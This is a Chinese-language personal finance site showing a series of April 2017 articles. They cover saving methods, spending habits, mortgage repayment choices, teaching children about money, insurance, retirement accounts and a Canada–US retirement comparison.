        凯勒 – 威廉士房地产(Keller Williams Realty)的经纪人莱斯纳(Jacob Rasner)表示,在剑桥市,房屋供应非常紧张,尤其是中高端的房产,基本上挂牌上市一周之内就会被买走,房屋库存低于一个月的销售量。而在美国,通常经济学家认为库存足够6个月的销售量才表示供需平衡。

        罗伯茨则表示:“新上市的房屋大约一周就能卖掉,”“黄金地段的房屋一两天就被抢购一空。”

        今年哈佛的录取比例只有5.2%,为史上最低。但现在看来,上哈佛大学前,估计还要先把剑桥的房子买好才行。

        2017-04-22 / by / in
        新鲜人想存第一桶金 无痛存钱法大公开

        薪水虽不高,但职场新鲜纪律,一样能积少成多。理财专家提出〝阶梯式理财〞、〝零存整付〞与〝强只要落实化情感诱因〞3建议,存第一桶金绝非遥不可及的梦想。


        〝低薪低就〞是近年来台湾年轻人就业最大的痛,许多新鲜人踏入职场,首要愿望就是要赶快存第一桶金(新台币100万元),但能否〝身体力行〞才是达标关键。1111人力银行曾调查,落实存钱计画的上班族,平均工作5.79年就能存到第一桶金。

        不过,调查也指出,尚未存到第一桶金的受访上班族认为,自己得花逾11年才能存到第一桶金,与已达标的人所花时间相比,整整多出一倍。可见,身体力行落实存钱计画,远比〝光说不练〞、整天空想来得更有效率;且人的潜能,也比自己想像来得惊人。

        理财专家艾蜜莉(张紫凌)认为,存钱速度虽与收入有关,但最重要的是找到正确存钱方式,加上有纪律的存钱计划。她曾采用国外流行的〝阶梯式理财法〞,并找网友一同响应,〝第一个月每天存10元、第二个月每天存20元,到了第十个月每天存100元,持续一整年〞。

        她表示,这种存钱方式非常简单,一开始不会有太大压力,〝第一个月整个月才存3000元〞,但到了后面几个月就会出现挑战,因为一个月必须存3万元,〝我做过调查,到最后能坚持下去的网友,只有2%、3%〞。

        不过她认为,这种像踩阶梯的〝递增式〞存钱法,除了可以养成存钱习惯,也能强迫自己遵守储蓄纪律,并降低存钱压力,〝每天存100元,总比一下子拿出3万元来得轻松〞。此外,与同侪比赛谁能持久,能增加成就动机,让自己更有动力完成存钱目标。

        资深财经节目主持人陈斐娟曾指出,一般人喜欢将身上零钱花完后才用大钞,但这样做很容易将钱花到一滴不剩,因此她反其道而行,采〝零存整付〞的方式,每次消费都拿千元大钞付款,找回小钞和硬币,之后她会将零钱带回家放进扑满里存起来,每当扑满存满后,再将钱存入银行。

        为何用这种方式消费?她表示,当拿出大钞付钱时,会有〝钱又不见了〞的心痛感,所以会叫自己少花一点;但回家将零钱投入扑满,不仅毫无压力,且有积少成多的踏实感,无形中让自己变得更节省,也存下更多的钱。

        最后一种存钱方式,则是加强情感诱因。经济学家萨勒(Richard Thaler)提出〝心理帐户〞的概念,意指人即使获得同样金额的钱,但会根据获得的方式与当下心境的差异,决定是存下它或轻易花掉。

        举例来说,若统一发票中了200元,可能今晚就去吃大餐把它花掉;但若是打工赚来的,也许就会想把它存起来。另外,婚前送另一半礼物可能预算无上限,但婚后会考量柴米油盐酱醋茶,不太愿意花大钱买礼物,这都是情感影响理财的实际例子。

        艾蜜莉建议,若能给自己一些情感诱因,例如告诉自己存钱是为了让未来人生更快乐、能够做自己想做的事;或者去想像有钱之后的样貌,存钱就能事半功倍,也能有源源不绝的存钱动力。

        2017-04-22 / by / in ,
        不看后悔!克服七大漏财习惯让你成富翁

        每个人都想成为富翁,但并非所有人都能如愿以偿。大部分的人都没办法做到滴水不漏,因此总会有这样或那样的漏财习惯。下面这七大常见的漏财习惯如果你都能克服,想必你也不会总觉得囊中羞涩了。


        保险柜只能保证钱的安全,却不能保证钱不贬值,如果不灵活投资,那么,你保险柜钱越多越漏。我要告诉你,你不尊重钱,也就是不尊重财富,不尊重财富的人怎么能发财呢?

        每个人都想成为富翁,但并非所有人都能如愿以偿。大部分的人都没办法做到滴水不漏,因此总会有这样或那样的漏财习惯。下面这七大常见的漏财习惯如果你都能克服,想必你也不会总觉得囊中羞涩了。

        漏财习惯一:不要找回的零钱

        很多人平常不拿一元以下的钱当回事,经常会在买东西时不要卖家找回的几分钱;殊不知,这样不重视积累,不重视一分钱的人,也得不到大财富。

        漏财习惯二:随身没有合适的钱包

        过去一块银圆用手帕包好怀揣胸口,那是保命钱。现在日子好了,都有钱包。即使这样,还有人不大会用钱包,衣服口袋个个都有钱、书本上也夹着钱、爱车上也随处可见到钱。其实,就是钱包都是有讲究的,你选不好钱包,说明你对你的财富规模没有规划。

        漏财习惯三:不捡路边的碎钱

        几乎所有人都会在路边、商场等公共场合瞧见过碎钱,票额大捡钱的人多,倘若是一分钱,你还会捡吗?相信不少人不要说捡了,看都不屑一看,更有甚者,一脚将钱踢开,踢得越远他越开心。其实,没有一个富豪会这样做,碎钱也有它的尊严和价值。

        漏财习惯四:家里到处都放钱

        有些人家中的抽屉、书柜、桌子、甚至沙发上都有钱,随意乱放,随意处置。那么你的钱财再多也会〝散尽〞。因为说明你对金钱的安置没有规划,这会对你的理财形成不好的影响。

        漏财习惯五:洗衣机当点钞机

        过去集体宿舍有公用洗衣机,负责洗衣服的阿姨每月都有进账,因总有毛头小伙或大方姑娘没掏干净衣裤里的钱。现在还有人常常在自家的洗衣机中发现钱。这样不珍惜钱,你的财富也很难来。

        漏财习惯六:小金库随处摆设

        很多明白人知道上述道理,专门买了保险柜,以为就万事大吉,财神永驻了。其实不然,为何?保险柜只能保证钱的安全,却不能保证钱不贬值,如果不灵活投资,那么,你保险柜钱越多越漏。

        漏财习惯七:把钱当工艺品

        有人将钱扎成工艺品的模样送人;有人将外国一些不大值钱的纸币糊在墙上;甚至有人出于某种目的,烧钱、毁钱。那么,我要告诉你,你不尊重钱,也就是不尊重财富,不尊重财富的人怎么能发财呢?

        2017-04-22 / by / in , , , ,
        不可不知!工资的〝4321〞定律,教你花对钱

        通常,做工资规划主要参考〝4321定律〞,即将年收入的40%用于供房和其他投资,30%用于生活开支,20%用于银行存款以备不时之需,10%用于保险。不过,对大多数的职场白领来说,〝4321定律〞或许暂时还难以付诸实践,此时,建议执行2条守则:坚持存钱、有份保险;除此之外,房租和各种消费占月收入的比重则需要灵活掌握、不断优化。


        在做具体的工资规划之前,首先要对自己的财务状况有清晰的了解,这其中包括每个月的收支情况、每年的收支情况、资产现状以及投资现状。有几条建议,供参考。1 储蓄
        这是必须要做的,无论收入高低,都务必要建立应急储备金,养成〝强制储蓄〞的习惯。每次发工资后应立即拿出一部分资金存入专用账户,这部分资金也可以投资到流动性较强的货币类基金中。需要注意的是,应急储备金的金额通常是3-6个月的生活费。

        2 日常花销
        包括吃饭、交通、水电、煤火、手机、上网、养车、宠物等琐碎的开支,这也需要每月有明确的预算。

        3 信用卡债务
        虽然使用信用卡消费实惠多多、方便多多,但是过期未还的利息也是相当高的,所以一定要提前做好债务记录,不要忘记按时还款。

        4 其它
        跟朋友吃饭、唱歌、娱乐、买礼物这类的花销,建议平时建立一份〝交际基金〞,此类花销从中支取,并设立警戒线,一旦花费超过警戒线,那么就该减少其他不必要的消费活动了。

        5 房租或房贷
        作为支出的一个大项,即便按季度或年度交付房租也需要把这笔开销平摊到每个月上,不能影响到交租或者还贷当月的理财计划。比较理想的状态是住房支出占月收入的20%-30%,不过对年轻人来说比例在50%以内都是可以接受的。

        6 投资
        这些钱是理财致富的保障,建议投资比较熟悉和有信心的领域。同时,提醒大家,投资所带来的收益最好不要归入你的收入中进行下次分配,这样很容易打乱现有的理财计划;最好把它们继续用做投资,带来更多收益的同时,理财计划也会完成的更加顺畅。投资额度应至少为月收入的10%,否则难以形成规模。如果投资金额过低,不如先进行储蓄,等积累起一定的资金再做投资;如果资金比较充裕的话,投资占比也不要过高,一定要量力而行,控制风险永远是进行投资的第一要务。

        2017-04-21 / by / in , ,
        小心,这5种行为可能让妳突然间一无所有!

        钱来的不容易,去的却可以很快,即使你不乱好,也可能因为以下5种行为,突然间暴〝负〞。


        一、将自住房当作抵押

        房子作为传统观念中最重要的财富,绝对不能随意用作抵押。房子不仅有居住的用途,在现在来看更有保值增值的作用,可以说不到万不得已,很少有投资值得你押上自住房,问题不光是风险太大,而是房产作为最根本的保障,失去了自住房的同时,也就丧失了东山再起的机会,理财最怕的不是没有本金,而是负债太多,没有希望。

        二、随便为他人作担保

        担保并不是儿戏。不要拿担保去充江湖义气,除非你对朋友的人品非常相信,并且也确实地了解了担保的项目情况,否则即使是亲戚之间也不宜轻易担保。某机构就曾有过那样的投资者,所谓江湖兄弟做投资恳求他作担保,理财师经计算发现该投资风险极大,但他不听,最终投资者一夜间从坐拥2000万资产到分文不剩。钱没有保住,兄弟也反目了。中国人容易被人际关系所束缚,提醒各位切记,一定,要亲兄弟明算账。

        三、没有实力妄想一夜暴富

        菜鸟理财者受人蛊惑胡乱投资,财富的积累要一步一来,没有任何一本理财经会教你一夜暴富的方法。可以大胆地说,那些所谓轻轻松松无风险收益率150%的投资项目都是骗人的。天上不会掉馅饼,理财菜鸟要清楚地认识到空子是不好钻的,要去正规平台谘询专业人士,否则一个投资项目就能让菜鸟所有积蓄打水漂。

        四、刷卡成瘾

        信用卡是造成一夜爆〝负〞的又一元凶。因为信用卡账单一月发一次,平时如果没有记账习惯,很难控制刷卡的量。如果有的人消费习惯又与收入情况完全不符合,就很容易入不敷出。一开始只能不断开信用卡,拆东墙补西墙,直到上所有银行的黑名单。

        五、赌博

        曾经有医药上市公司被少东家的赌债一年内掏空的前车之鉴,赌博可以说是与理财完全相悖的。与之类似的还有在股票当中的追高杀跌,都是非常危险的投资习惯,热衷赌博的人心中没有〝沉没成本〞的概念,最终结果只有一条道走到黑。

        另外要提醒的是,和妄想一夜暴富相反,一棍子打死所有理财方式也可能给你带来损失。有人只相信银行定期活期储蓄,连网银、U盾、支付宝都不敢用,更不要说固定收益类理财产品、基金、股票、P2P网贷。根据马太效应,这个社会的经济效应就是,有理财头脑的人,得到更多的钱,那些不舍得投资的人,他们的钱也要被掠夺。

        2017-04-21 / by / in ,
        注意啦!买房子这样还款可以为你省下十几万元!!千万别错过!

        买房子,办银行按揭贷款,这里面其实有很多学问!有时稍不注意,就是十几万、几十万的差距。对于我们一般平民要买房的,看看下面不同还款方式的巨大差异,也许会帮你省下十几万元哦!!…


        一、贷款利率的折扣


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        现在,买房时要以最新政策为准,一定要去查这个细节!例如,〝发稿时最新的政策是,首套首付三成,贷款利率维持基准利率6.55,二套首付七成,贷款利率上浮1.1倍〞。

        二、选择还款方式

        也许很多没买过房子的人,都不知道还银行贷款还有方式可以选的。家庭条件有限,能够省一点就省一点。还款方式有以下两种方式,供大家参考!

        1、等额本息还款。


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        你在看一手房子的时候,售楼小姐给你算的都是这种,因为每月还款数额固定,而且相对于另一种方式,这个金额较小,更容易被买房者接受。但是你们知道这个的真实还款情况是什么样吗?下面用一个实例算给你看罗…

        以贷款20年,贷款100万元,算下来月还7485.2元月还款为例。每月还银行7485.2元,其中,5458.33元是利息,2026.86元是本金。也就是说,你还的钱,大部分是银行利息,而本金还的较少。

        到了还款期限一半的时候,比如说是20年还,你已经还了10年了,利息已经在前10年还的差不多了,但是你的本金还有很大一部分没还,而这些是必须还的。即便你10年后条件好很多了,可以提前还了,但是后面的基本是本金,利息很少,你提前还已经没有什么意义了。

        银行大多只跟你说这一种,因为这样,银行的利益才会最大化。

        2、等额本金还款。


        网络图片

        这种还款方式银行通常不会主动提出。这个还是以贷款20年,贷款100万元,每月还款9625元月为例。每月还的钱要比等额本金多2140多元,其中4166.67元是本金,5458元是利息。从第2个月开始,只还9602.26元,因为本金上月还了4166.67元,这月利息重新计算,要少23元的利息。以此类推,越到后面还款压力越小。

        但最重要的是,当你要提前还款的时候,比如5年后,因为你选择的方式本金还的多,这时本金已经相对减少了许多,提前还款的本金部分冲抵的更多,这样重新计算利息的时候要少许多利息支出(每少一年都是近万的利息)。

        就算不提前还,以这种方式还20年,也要少还14左右的利息!只是前期压力较大!但这是为了长远的利益!

        作为我们这种一般阶层的人,买房子是大事,所以,在签定合同后,一定要在银行贷款这方面多研究一下。其实这样算一算,银行贷款这方面,合理分配,可以节约十几万元的利息支出甚至更多。折算成房价,就是少了近千元/坪哦!

        2017-04-21 / by / in
        看看美国家庭是如何防止出现〝败家子〞的?

        可以说,“ 富不过三代 ”是中国人的一个魔咒,从白手起家,再到将家产挥霍殆尽,中国人仿佛进入了一种“过把瘾就死”的疯狂状态。美国人给了自己的观点:“过把瘾就死”直接影响了下一代的生存状态,富不过三代不是魔咒,是溺爱惹的祸。


        中国有句老话“富不过三代”,这似乎是人的本性首代创业者竞竞业业,吃苦耐劳,创下偌大家业;二代人目睹父辈创业的艰辛,受到父辈的教育影响,也能够守住家业甚至有所发展;而到了第三代,他们从小沉溺于财富,只懂享受,家族基业自然要走下坡路。

        然而再看看美国的老字号,比如在佛吉尼亚州的Shirley Plantation农庄,成立于1613年,迄今依然由同一家族在经营,已经是第11代了。为美国驻各国大使馆打造银器餐具的宝贝Silversmiths公司也是世代相传的银器匠人,最早从事这一产业的祖先可以追踪到1690年。从17世纪到现在,期间经历了独立战争,南北内战等种种战乱,这些家族企业却还继续做着老祖宗做的事,把先人创立的品牌维护得这么好,从宏观来看这显然与文化,法律等大环境的因素相关。若是从每个家庭的小单元来看,美国人其实也有一套预防出现“败家子”的做法,培养比如孩子从小学会理财便是其中之一。

        美国贫富分化明显,几乎每个孩子都能感受到金钱的魔力,对此也很好奇许多孩子从小就会问父母:?为什么我们家的房子这么小,而马丁家的房子那么大我们家算是穷人还是富人?家里的钱到底够不够花?面对孩子的提问,许多美国父母会选择坦率地把自己的家底告诉孩子,让孩子来亲身体会家里花销的整个过程,以此教会孩子理财。

        20年前,加州一位叫Scott Parker的父亲为了让孩子们明白他们家收入支出的细节,有一天从银行领取当月工资时,要求全用现金提款。当他将一万美元月用帆布袋装回家,放到餐桌上的时候,他15岁的大儿子丹尼尔觉得爸爸好像是抢银行回来了。

        父亲和孩子们盯着桌上的钱堆看了一会后,父亲便开始讲解税金的概念,首先把家里本月该缴纳的税金从这堆钱里取出来,放到一旁。然后又把捐给教会及慈善机构的钱也放到一边。接着就是每月付还给银行房贷的一大笔钱,每月购买食物的钱,出去看一次电影及参加足球比赛的费用等等。渐渐地那堆钱越来越小,最后能留下作为每月储蓄的就所剩无几了。

        他的孩子们果然对父亲上的这堂理财课永生难忘。他们知道爸爸每个月挣回不少钱,可是几乎每一分钱都有它的用处,并不能用来做奢侈的事,花钱必须慎重。同时他们也亲眼见证了父母花钱背后的价值观,比如家里开销的第一笔钱是做为公民纳税的义务,第二笔钱则是献给宗教及慈善机构的爱心。先把这两拨钱留下后,才考虑家里的柴米油盐以及娱乐消费。

        上面是相对富裕的美国人,经济窘迫的美国家长也照样通过让孩子们了解家境来传达自己的价值观。弗洛里达州的Andrea Dutton与丈夫离婚后,和她7岁的女儿和3岁的儿子一起搬到了比原先小得多的房子。她坦率地向孩子们解释,有时为了摆脱糟糕的环境,人必须做正确的决定,尽管这个决定很艰难,尽管这意味着在经济上会丧失很多。她选择直言不讳地告诉孩子们家里的经济现状,既避免了他们因不明真相而滋生不必要的担心,又让他们懂得了钱不是衡量幸福的唯一标准。

        父母在告诉孩子家底的同时,也让孩子来参与消费。住在佛吉尼亚州的家庭主妇Trisha Jones送她6岁和8岁的两个孩子去上私立学校,每月在电脑上付学费时总让两孩子坐她身边,帮她摁“付款”那个键,并告诉他们每人每天上学的学费是92.50美元,相当于买一套高级的塑料积木玩具的费用。她这样做的目的是让孩子们明白上学是一种特权,必须珍惜。为了送他们去上学,父母是做出了牺牲的。

        孩子们在参与消费决策的过程中,很自然地学会了合理的承担。麻州一位叫Rebecca Miller Goggins的妈妈,正当她女儿准备延长芭蕾课课时的时候,芭蕾学校的学费涨价了。便把账单给女儿看,让她必须做一个选择:减少芭蕾课时或减少别的消费女儿决定不减芭蕾课时,可是自己会延长打工时间来分担芭蕾课的费用。

        卡罗拉多州的斯家,每个周日都让10岁和11岁的两个孩子一起审查家里的每一笔开销,并参与决策。孩子们很快学会了做明智的选择。比如不去餐馆吃晚饭便意味着他们可以有更多的钱用于去迪斯尼乐园游玩。如果去图书馆看书是免费的,而去Barnes&Noble书店购买书则意味着花钱买书,买饮料,你们愿意选哪个?

        美国的孩子们就这样在了解自己的家底,并参与消费的过程中,学会了自己的承担,学会了把家里的钱当自己的钱来管理。也正因为如此,他们没有成为啃老族,成为败家子。文中一开始提到的那位Scott Parker的长子Daniel现在已经是有两个孩子的爸爸了,他很感激父亲教他花钱背后的价值观他也准备将自己的家底如实告诉自己的孩子,就像他父亲当年做的那样。

        一手打造富豪排行榜的胡润曾说:“在中国,一个企业能做十年就已很不容易了,能维持到第四代的可能只有0.1%富不过三代有两个原因:其一,随着一个家族的发展,子孙渐多,所以到第三代的时候,他们手中各自持有股份,很难保证一个企业的核心价值;其二,一部分企业发展的模式是第一代开创,第二代管理,第三代消费,可能到了后面,品牌还在,价值已经不在了“。

        其实,“富不过三代”魔咒的奥秘就在于继承模式。个性十足的富二代已经开始从上一辈手中接收股权和企业管理权,未来十年将是他们接班的高峰期。如何合理安排家族的股权,职位传承,作为父母到底该给孩子留下什么?房子,车子,还是企业?

        世界上没有比免费更贵的东西,如何传承财富,才能让后代保持对财富的“饥饿感”,而不失去创造财富的能力,显然只给钱是不行的,还要教给他们创造财富,保护财富的能力,而最重要的一点是,要引导他们在财富的辅助下,拥有健康,积极的人生。

        2017-04-21 / by / in , , ,
        个人理财:人寿保险—犹太人〝穷不过三代〞的秘诀之一

        以精明著称的犹太人,据说在孩子出生不久就要给孩子买一份保险,这让犹太人的财富神话得以不断延续。〝富不过三代〞是中国人的谚语;而在犹太人社区,〝穷不过三代〞则是一个流行的观点。


        人寿保险可谓是名副其实的〝万能保险〞,对人的一生做了365度的全面保障。重大疾病、长期护理、人寿保险,都包括在内;还可以提前理赔。如果投保人患有重大疾病,保险公司可以提前赔付的保险额高达80%。这个终身保险还有投资理财和促进财富增值的功能。而且从中拿到的养老收入是免税的。

        这个保险,无论金融形势怎么不好,公司会给你锁定,让你有稳定的收入,有一个小保护伞。这不是股票式的投资,它是保险公司的一个政策。涨的时候跟着涨,但跌的时候不跌,这叫你涨我也涨;你跌我不跌。

        年轻时购买还有一个好处是:它的投资周期会相对很长,让投保者获得更大的回报。推迟购买,不但保费增加,风险增加,回报也会减少许多。

        犹太人穷不过三代,为什么?他们非常会利用保险的价值。而华人喜欢节省,把钱都存到银行里面去,结果贬值了,因此,希望华人能够早早的买保险。

        2017-04-21 / by / in ,
        换工作后退休金怎么办?专业人士告诉您

        根据劳动统计局数据,48岁的美国人平均已经换了11份工作。那么换了工作之后对以前的退休金应该如何处理呢?怎样才能得到最大的投资回报呢?来听一听投资理
        上周日华夏学人协会在中国人活动中心举办了投资谘询研讨会,建议人们在换了工作之后谘询专业人士来决定退休金的去留,而不要放在那里不管。


        Merrill Lynch证券公司投资理财顾问Danielle Huang:〝华人换工作后有不同的方式,您可以把它做一个rollover到一个IRA里面,或者是留在之前的公司,或者是换到一个新的公司。那当然您要比较一下旧公司和新公司有什么一样或者是不一样。我的建议是大家一定要去管。因为放在那不动是一个非常不明智的选择。我会希望您和一个专业人士进行探讨,然后看一下最适合的方式。〞

        退休金种类繁多,私人公司经常会提供401k。有些401K计划管理费用高而投资回报率低,所以换了工作后要把不同的计划进行比较再做决定。

        这次活动由华夏学人协会主办,希望帮助人们了解退休金及投资的基本知识,更加适应在美国的生活。

        华夏学人协会会长魏波:〝中国人吗,都喜欢攒钱,我怎么样把这个钱用在最好的地方,不仅仅是放在银行里面。我们刚才也说过,银行目前几乎是零的利率。怎样来投资,我想,这不仅是我个人的问题,也是很多华人面临的问题。就是把自己家里的閒钱用最好的方式投资,这样的话对自己的家庭还是后代,自己的孩子,也是一个最好的回报。〞

        华夏学人协会是由各种专业人士成立的协会,旨在促进中美文化,和会员之间的交流。

        2017-04-21 / by / in ,
        为啥攒不下钱?专家盘点6大特征

        有人年薪300万日元,却有上千万存款;有人年薪500万日元,却在月末一边啃面包一边等着下次发工资……为什么工资总好像不翼而飞?这个问题困扰着许多〝月光族〞。


        日本理财专家村越克子说,其实攒不下来钱的人,都有以下6大特征。快来看看自己中了几条。

        Ⅰ .喜欢出门逛街

        休息日宅在家里虽然不好,但出门去逛街,常常会冲动买,口渴了要喝茶,肚子饿了要吃饭……不小心就会花掉很多钱。

        Ⅱ.〝买两件打折?买买买〞

        正在逛街的你,看到〝一件3,000日元,2件5,000日元〞的衣服,会立刻跑去买两件吗?

        攒不下来钱的人,总是对这类打折活动毫无抵抗力,看到打折的东西,就算并不特别需要,也会忍不住买下去。比如3,000日元一件的衣服,明明买一件就够了,却偏偏要买两件,等于多花了2,000日元,并没有占到什么便宜。

        Ⅲ. 出门时急急忙忙

        ——糟糕,已经这个时间了?来不及了,打个车吧!

        ——来不及吃早饭,路上买点儿吧。

        ——出门太着急,忘了带笔,路上买一支吧!

        如果你总是这样急急忙忙地出门,就会像这样,增加各种各样不必要的支出。

        Ⅳ .在家时无所事事

        如果你在家的时候常常无所事事,要么发呆,要么看看电视聊聊天打发时间,不想收拾房间,不想做计划……

        那么通常,你不太擅于做计划、整理工作,当然,理财也包括在内。

        Ⅴ. 少量多次取钱

        每个月发工资,先取一大笔钱,不够用,就再去取一点,又不够用,那就再去取一点……

        这样毫无计划的取钱方式,会让你完全把握不了自己到底花了多少钱,当然会产生〝我的钱都哪儿去了〞这样的疑问啦。

        而且,没钱了才急急忙忙去取,不巧赶在晚上、节假日,还要多付ATM手续费这样的额外支出。

        Ⅵ. 从不自己检索信息

        〝怎么投资风险低?〞〝怎么取钱不用手续费?〞〝将来能拿到多少养老保险?〞〝怎么退税?〞……

        如果你常常刷微博、刷推特,却从来都懒得去检索一下这些让自己如何省钱的信息,怎么会不花冤枉钱呢?

        2017-04-21 / by / in ,
        美国10家公司正在大批招人 起薪5万美元

        如果正在寻找工作,可以考虑下列10家公司,这些公司正用高薪疯狂抢人。据美国最受欢迎的工作网站Indeed表示,包括亚马逊及摩根大通银行等10家公司不只用高薪招聘电脑类人才,其他工作也缺人,许多工作起薪50,000美元。


        下面是年薪超过50,000美元工作机会最多的10家美国公司及其简介,不要以为只有高科技公司及银行才有高薪工作,目前美国经济稳定成长,各行各业都需要人。

        #10.诺斯罗普•格鲁曼公司(Northrop Grumman)

        该公司是一家国防科技及商业科技系统公司,目前有1,111个年薪逾50,000美元的工作空缺。格鲁曼公司提供创新安全系统、产品和无人作业系统的解决方案,提供政府及商业客户网络、物流和系统现代化。

        #9.微软

        目前有1,318个职缺年薪高于50,000美元。该公司成立于1975年总部位于华盛顿州,是全球高科技业的领导者,提供软件、服务、设备和解决方案,帮助个人和企业发挥最大潜力。

        #8.科赫货运公司(Koch Trucking)

        该公司是一家总部位于明尼苏达州明尼阿波利斯市的卡车货运公司,要招聘1,360个年薪超过50,000的员工。

        #7.康卡斯特(Comcast)

        总部位于费城的媒体和广播巨头康卡斯特公司是美国最大的有线电视公司,总员工数逾15万人。该公司要招聘1,387名高薪员工。

        #6.博思艾伦(Booz Allen Hamilton)

        博思艾伦是管理咨询、技术和工程服务公司,提供国防、情报等服务给美国联邦政府,招聘1,618名高薪员工。

        #5.普华永道(PricewaterhouseCoopers)

        全球最大的专业服务公司普华永道,并且是全球四大审计师事务所之一,员工超过20万人,公司预计招聘1,944名高薪员工。

        #4.AT&T

        总部位于德州达拉斯的电信巨头AT&T,全球有28万员工,正在招聘2,237名高薪员工。

        #3.甲骨文(Oracle)

        总部位于加州的甲骨文提供云应用、平台服务、数据库及工程系统介面,正在招聘2,277位高薪员工。

        #2.摩根大通(JPMorgan Chase)

        摩根大通是一家全球性金融服务公司,并且是美国最大的银行之一,在60多个国家,拥有超过24万名员工,将招聘2,278名高薪员工。

        #1.亚马逊

        这家总部设在西雅图的电子商务和云计算公司是美国最大在线零售商,正招聘2,652位高薪员工。

        2017-04-20 / by / in
        一件衣服好不好 看看标签就知道

        通常人们在选购服装时,不太注意衣服上各种标签显示的信息。要想选购一件质量上乘的衣服,不仅要看颜色和款式,标签上的信息也很关键。

        1.看颜色的深浅

        衣服的颜色越深,衣服染料中的有害物质就越多,买内衣和婴幼儿衣物时建议选择浅色的。

        看颜色深浅。(网络图片)
        看颜色深浅。(网络图片)

        2.看号型

        号型中没有标明身高和胸围的衣服是不合格的。合格衣服的号型标注:“175/100A”,175表示身高、100表示胸围、A表示体型。A表示“正常”、B表示“偏胖”、C表示“胖”、Y表示“偏瘦”。

        看号型。(网络图片)
        看号型。(网络图片)

        3.看洗涤说明

        洗涤标识须按照洗涤、晾晒、熨烫等顺序标注;如果衣服吊牌上没有洗涤说明,或是洗涤说明顺序标注不正确,很有可能是因为生产厂家不正规,建议不要购买。

        看洗涤说明。(网络图片)
        看洗涤说明。(网络图片)

        4.看等级

        衣物的等级分为优等品、一等品、合格品,等级越高,色牢度越高。一般情况下,市面上一等品和优等品较少,所以衣服标签上的等级标注至少要是合格品。

        看等级。(网络图片)
        看等级。(网络图片)

        5.看安全技术类别

        服装有A、B、C三个安全技术级别。2周岁以下的婴幼儿服装必须是A类技术要求,直接接触皮肤的服装至少要是B类技术要求,非直接接触皮肤的服装至少要是C类技术要求,如果不符合技术要求建议不要购买。

        看安全技术类别。(网络图片)
        看安全技术类别。(网络图片)
        2017-04-20 / by / in
        加美退休养老大PK 哪个更胜一筹?

        一篇文章对加美两国退休养老制度进行分析比较,发现两国金融结构虽相似,但对财富创造与再分配政治态度却大相径庭,直接影响着退休养老收入。因此得出结论认为,如有机会选择投胎国,美国固然能挣大钱,但加拿大却更适合养老。


        税率

        加人是在每年4月30日之前向加拿大税局(CRA)报税,政府通过商品与服务税(GST)或销售合并税(HST)来征收服务税,在贺维学会(C.D. Howe)高级研究员哈密尔顿(Malcolm Hamilton)看来,此项税赋很重,相当于欧洲的VAT增值税。

        美国人是在每年的4月15日之前向美国国税局(IRS)报税,有些州不会在联邦个税基础再额外征收个税,但可能会征收销售税,但比加国的HST要低得多。此外,美国根本就不征收服务税。

        加美2国均采用递增税制,即收入越高,税率越高。但加国高收入递增税起点(包括省税和附加税)更低,不到10万,远远低于美国的45万。哈密尔顿说,加国整体税赋要重很多。加拿大年应税收入达到9万时,联邦和省府综合税率加在一起高达40%。

        与之相比,美国这一税率相应的年应税收入起点是40万,有些州根本就没有这么高的税率。

        芝加哥理财师渥赫纳(Roger Wohlner)说,美国最高联邦税率39.6%对应应税总收入起点高达45.76万。此外,美国夫妇既可选择联合报税,也可选择分开报税,自由度更大。与之相比,加国夫妇不允许联合报税,只是在最近才开始针对老人和有孩子家庭推出分开报税制。

        哪些东西要缴税?

        加美2国均对利息收入、股息收入和资本增益征税(延税工具中的投资除外)。美国资本增益税根据股票在出售前持有时间长短而定。哈密尔顿说,美国的股息和资本增益税一般来说更低,但奥巴马总统最近提到,年入50万美元以上的个人资本增益税可能要提高。

        此外,美国人报税收入中可扣除房贷按揭利息支出和物业税,加人不能这么做,但却没有主居住物业增值所带来的资本增益税。1997年《美国纳税人减免法案》出台后,美国也开始采取类似措施。

        美国税务专家帕瑞兹(William Perez)说,美国人5年内如拥有物业、并在该物业内住满至少2年,报税时可扣除房屋25万的增值,夫妇2人就能扣除50万。因此,除非房屋增值太大,美国多数房屋和加拿大一样都没有资本增益税。

        CPP、OAS PK美社会保障金(SS)

        加美2国在人们到传统退休年龄时,都提供有保障收入计划。美国社会保障金是在大萧条时期推出,多少取决于雇主工资扣除额。加拿大则采取3重系统,以1966年的加拿大养老金计划(CPP)为主,此外还有雇主工资扣除养老金计划。

        两国均允许提前退休,但提前退休要扣除领取比例,其中CPP允许最早提前退休年龄是60岁,美国SS金允许最早提前退休年龄是62岁。同时,两国均规定,推迟领取时间越长,领取额越多,最迟允许推迟到70岁领取。

        加国老年金OAS在1927年老年人养老金法案(OAPA)推出后于1952年推出。OAS资金来源是政府综合税收,任何在加国居住满10年的65岁以上老人均可领取。除OAS外,加国政府还为极度贫困老人提供保障补助收入(GIS)。

        哈密尔顿说,美国虽没有与GIS相应的贫困老人补助,但对于收入充足的老人来说,美国SS要比加拿大多重退休福利总和还要慷慨得多;但加国福利制度为低收入群体在工作期间提供的福利却要好得多。

        RRSP PK IRA

        两国均通过税收制度鼓励人们多做退休储蓄计划。加国注册退休储蓄计划RRSP于1957年推出,美国相应的IRA于1975年推出。

        RRSP和IRA最大年储蓄额均取决于当年应税收入。RRSP与IRA功能相似,储蓄额均可用于下个报税年减税额,账户相应投资收入均可推迟至几十年后再征税,在纳税人到70岁后1—2年内,均强制每年要分配一定的应税额。

        TFSA PK罗斯IRA

        美国罗斯个人退休个人账户于1997年推出,加国免税储蓄账户TFSA于2009年推出。

        这2个账户均不能直接减免税,但利息免税为退休养老提供免税收入流。2个账户最高储蓄额相似,TFSA年最高储蓄额为5,500元,相比之下,罗斯IRA更复杂,50岁以下最高储蓄额为5,500美元,49岁以上为6,500美元。

        养老金计划

        两国均有税收优惠雇主养老金计划。

        两国雇主固定福利养老金计划(DB)为当事人提供有保障的养老收入,免受市场风险影响。

        两国均有养老金保障基金(PGF),但加国仅安省一个省有此PGF。

        目前两国雇主想将员工DB养老金变成由市场主导的养老金固定缴款计划(DCP),其中美国推出401,加拿大推出集体RRSP。从这一点来说,退休养老计划责任和担子越来越落实到个体身上。此外,随着人口日益老化,2国退休年龄也会日益推迟。 ◇

        2017-04-20 / by / in , ,
        理财顾问产业并无改变

        坊间已经有数不清的媒体在警告,我们这个理财顾问产业即将在CRM2实施后发生剧变。的确这些文章说的都没错。客户们往后将完全掌握他们做投资时真实的成本费用,当然客户也会追问这些费用到底为有什么价值?但这是件好事,而且早就该做,且是必须做的事。对我们这行业的公信力好,对全体加 拿大人的利益都好。我喜欢知道客户能拥有透明的资讯。

